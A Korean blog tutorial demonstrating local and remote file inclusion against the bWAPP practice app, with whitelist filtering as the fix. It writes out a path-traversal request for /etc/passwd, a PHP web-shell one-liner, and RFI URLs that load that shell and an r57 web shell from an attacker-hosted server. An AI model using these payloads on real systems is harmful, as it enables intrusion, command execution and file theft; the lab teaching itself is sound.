본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 11-2. 기능 수준의 접근 통제 누락 [파일 삽입]

by Robert8478 2023. 12. 14.

파일 삽입(File Inclusion) 공격은 ​악의적인 코드가 입력된 파일을 사용자가 서버에서 열람하는 공격이다.
원격 파일 삽입(RFI,Remote File Inclusion)공격자가 악성코드가 있는 원격 서버의 파일을 공격 대상인 웹 애플리케이션 서버에 실행시켜서 취약한 웹 페이지에서 악의적인 스크립트를 실행하도록 하는 공격이다. 
로컬 파일 삽입(LFI, Local File Inclusion)서버 내부에 있는 파일을 확인하는 공격이다. 서버에 접근하는 변수 중 취약한 변수에 상대경로(../)를 사용해서 서버 내부에 접근하는 공격이다.



[난이도 하]

이번 페이지에서 Go를 눌러주면 GET 방식으로 인해 URL에 변수가 노출된다. 취약한 language 변수에 LFI 공격을 시도해 볼 것이다.

Lang_en.php../../../../../etc/passwd&action=go 상대경로를 계속 넣어가며 찾아가니 상대경로를 다섯번 상위 경로 이동하니 passwd 파일을 열람할 수 있었다. 이제 RFI 공격을 시도하기 위하여 악성 스크립트 코드를 만들 것이다. 민감한 데이터 노출의 text files 페이지로 간다.

<?php echo "<script>alert(\"HelloWorld\")</script>";system($_GET["cmd"]);?> 스크립트 코드를 Username 입력 폼에 넣어주었다.
이는 단순하게 메시지를 경고창으로 띄우는 형태의 스크립트 코드이지만 악성 셸 코드나 악성 URL 리다이렉션 코드 등을 입력할수 있다. Password에는 아무 값이나 넣어주고 Insert 해서 파일을 만들어주자.

그리고 Download 링크를 클릭하면 방금 생성한 accounts.txt 파일의 내용을 볼 수 있다. 서버에 저장된 이 파일은 공격에 사용될 php 파일이다.

다시 페이지로 돌아와서 ?cmd=lfi.htm&language=passwords/accounts.txt&action=go 를 URL 주소에 넣어주니
아까 만든 악성 txt 파일이 실행되었다. cmd=lfi.htm 을 넣어주면 알림 메시지 확인 클릭 후 페이지에 accounts.txt 내용을 출력해준다.

알림창의 확인을 눌러주면 스크립트 코드를 만들었던 페이지에서 계정을 넣어주면 이렇게 이 페이지에 표시가 되어 볼 수 있게 된다. 이번엔 XSS stored change secret 페이지에서도 공격을 시도해 보자.

<?php echo "<script>alert(\"HelloWorld\")</script>";system($_GET["cmd"]);?> 같은 스크립트 코드를 넣어주어 secret 값을 변경했다. 이렇게 되면 Secret 값 확인 시 경고창이 나올것이다. 이제 칼리리눅스를 활용한 RFI 공격을 시도해보자.

이제 칼리 리눅스에서 lfi.txt를 만들고 위와 똑같은 스크립트 코드를 입력해서 저장한다. RFI시 편하게 사용하려면 lfi.txt 파일은 ~ 루트경로에 두는것이 좋다. 그 뒤 Simple HTTP 서버를 실행해 보자. Simple HTTP Server는 파이썬 설치 환경에서는 어디든 동작한다.

python -m SimpleHTTPServer 명령어를 입력해서 HTTP 서버를 실행하였다. 이제 다시 페이지로 돌아가자

?cmd=echo "HelloWorld" > /var/www/bWAPP/documents/pooh.txt&language=http://192.168.56.101:8000/lfi.txt 를 입력하면 스크립트가 정상적으로 수행되는 것을 볼 수 있다.
여기서 cmd 변수를 사용한 것은 RFI 인젝션을 통해 /documents 디렉터리 안에 HelloWorld 문자열의 pooh.txt를 강제로 생성하기 위함이다.

칼리리눅스를 확인해보면 (rfi는 이름을 잘못 입력해서 생긴 오류이다.) GET /lfi.txt 구문을 확인할 수 있다. lfi.txt 파일을 실행하면서 cmd 변수에 입력된 명령어로 pooh.txt 파일을 웹서버에 강제로 생성하게 되는 것이다.
이처럼 RFI 공격은 원격으로 악성코드나 웹셸을 웹 서버에서 실행하게 하거나 2차 공격에 사용하는 웹셸 또는 악성코드를 강제로 웹 서버에 생성하도록 할 수 있다.

[난이도 중]

난이도 중에서는 인젝션 코드가 잘 수행되지 않는다.

상대경로가 아닌 방법도 소용이 없었다. php 코드를 확인해보자.

난이도 중은 변수값을 살펴보면 lang_en.php 가 아닌 lang_en 인것을 보고 추측해 보았을때 위 필터링은 language에 입력한 변수에 .php를 뒤에 강제로 붙여버리는 필터링을 수행하는 듯 싶었다. 그렇다면 위에서 수행한 공격은 막히겠지만 웹셸같은 경우는 업로드시킬 수 있을것 같다.
한번 r57 웹셸을 업로드 해보자. 위 RFI와 같은 방식으로 칼리리눅스 simple http 서버를 실행해 주고 RFI 구문을 넣어주겠다.

?language=http://192.168.56.101:8000/r57&action=go 구문을 넣어주었더니 웹페이지 상에서 웹셸이 실행된 것을 볼 수 있다. 뒤에 .php를 강제로 붙여버리기에 r57만 써주면 결과적으로 r57.php가 변수값으로 들어가게 되어 웹 셸이 정상적으로 출력된 것이다.
즉 이런 방식의 보안 설정은 웹셸 업로드 같은 부분에서는 여전히 취약하다.

[난이도 상]

난이도 상에서는 그 어떤 구문도 작동하지 않는다. php 코드를 살펴보자.

난이도 상에서는 language 변수에 들어갈 값을 배열을 이용한 화이트리스트 필터링 방식으로 정확하게 검증한다.

그렇기 때문에 RFI 공격에 사용하는 구문들은 입력하지 못하게 되는 것이다.
LFI와 RFI는 이처럼 취약해 질 수 있는 변수값에 대해 화이트리스트 필터링을 반드시 설정해 주어야 안전하다.